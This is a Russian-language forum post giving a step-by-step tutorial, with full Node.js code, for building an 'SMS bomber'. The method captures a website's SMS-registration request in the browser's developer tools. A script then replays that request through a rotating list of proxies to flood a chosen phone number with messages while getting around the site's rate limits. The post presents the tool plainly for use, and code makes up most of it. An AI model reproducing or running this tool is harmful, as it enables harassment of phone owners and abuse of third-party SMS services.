Пишем свой СМС БОМБЕР на javascript

Frager

New member
Для начала нам надо установить node.js
инструкция -

Затем заходим на сайт для отправки смс, я буду использовать этот-(не реклама)

Открываем панель разработчика, тогда нажимаем кнопку войти, вводим номер который будем бомбить, нажимаем зарегистрироваться-
В панели разработчика переходим в вкладку Network , видим как идут запросы. Нас интересует только один-
Видим адрес куда идет запрос, на него мы и будем слать запросы. Прокручиваем вниз и видим тело запроса-
Перед тем как переходить к бомберу перейдите на этот сайт и первую смс пусть отправит сайт а не бомбер это ВАЖНО


Теперь переходим к коду
Создаем папку для нашего бомбера. В папке создаем два файлаzapros.jsиindex.js
Открываем командную строку (для Виндовс ctr+ r -> cmd)
В командной строке переходим в нашу папку и пишем такое

npm init -y
npm install axios
npm install axios-https-proxy-fix
npm install linebyline

Затем открываем наш файлzapros.jsи пишем такой код

const axios = require("axios-https-proxy-fix"); //подключаем модуль

module.exports = function requestPost(host, port) {
let instance = axios.create({
proxy: { //здесь будут наши прокси
host: host,
port: port
}
});
instance
.post(", { //сюда вставляем сылку на запрос
login: 380987777777 // номер который будем бомбить (Можно и RU и UA)
})
.then(response => {
if(response.status === 200) {
return console.log(Запрос успешно выполнен!)
}
else {
return console.log(Неудачный запрос иле лимит смс)
}
})
.catch((err) => {
console.log(`Error, статус код ${err.response.status}`);
});
};


Теперь создаем файлproxy.txtтуда надо будет записать прокси в формате host:port
Далее открываем файлindex.jsи пишем туда такой код

const fs = require("fs");
const readline = require("linebyline");
let zapros = require("./index.js"); // подключаем файл запроса и модули

rl = readline("./proxy.txt"); // подключаем файл с прокси

let proxies = [];// масив прокси

//Считываем файл прокси//

let promise = new Promise((resolve, reject) => {
let count = 0;
rl.on("line", line => {
count++;
let lineLength = line.split(":");
console.log("loading...");
proxies.push(lineLength);
});
rl.on("close", () => {
resolve(count);
});
})
.then(count => {
console.log(`Количество прокси ${count}`);

let index = 0;
setInterval(() => {
if (index < proxies.length-2) {
let host = proxies[index][0];
let port = proxies[index][1];
zapros(host, port); // отправляем запрос в там тот файл
index++;
console.log(`Сделан запрос через прокси ${host}:${port}`);
} else {
index = 0;
console.log(`restart`);
}
}, 5000); // Ставим задержку между запросами не менше 1с. (1с. = 1000)
})
.catch(err => console.log(err));


Теперь загружаем в файлproxy.txtсвои прокси. Переходим в командную строку где открыта наша папка и запускаем наш бомбер командой
node index.js

Ну вот и все наш бомбер готов

Прокси нужны для того чтобы посылать сразу пару запрос
 
Яндекс.Метрика
Сверху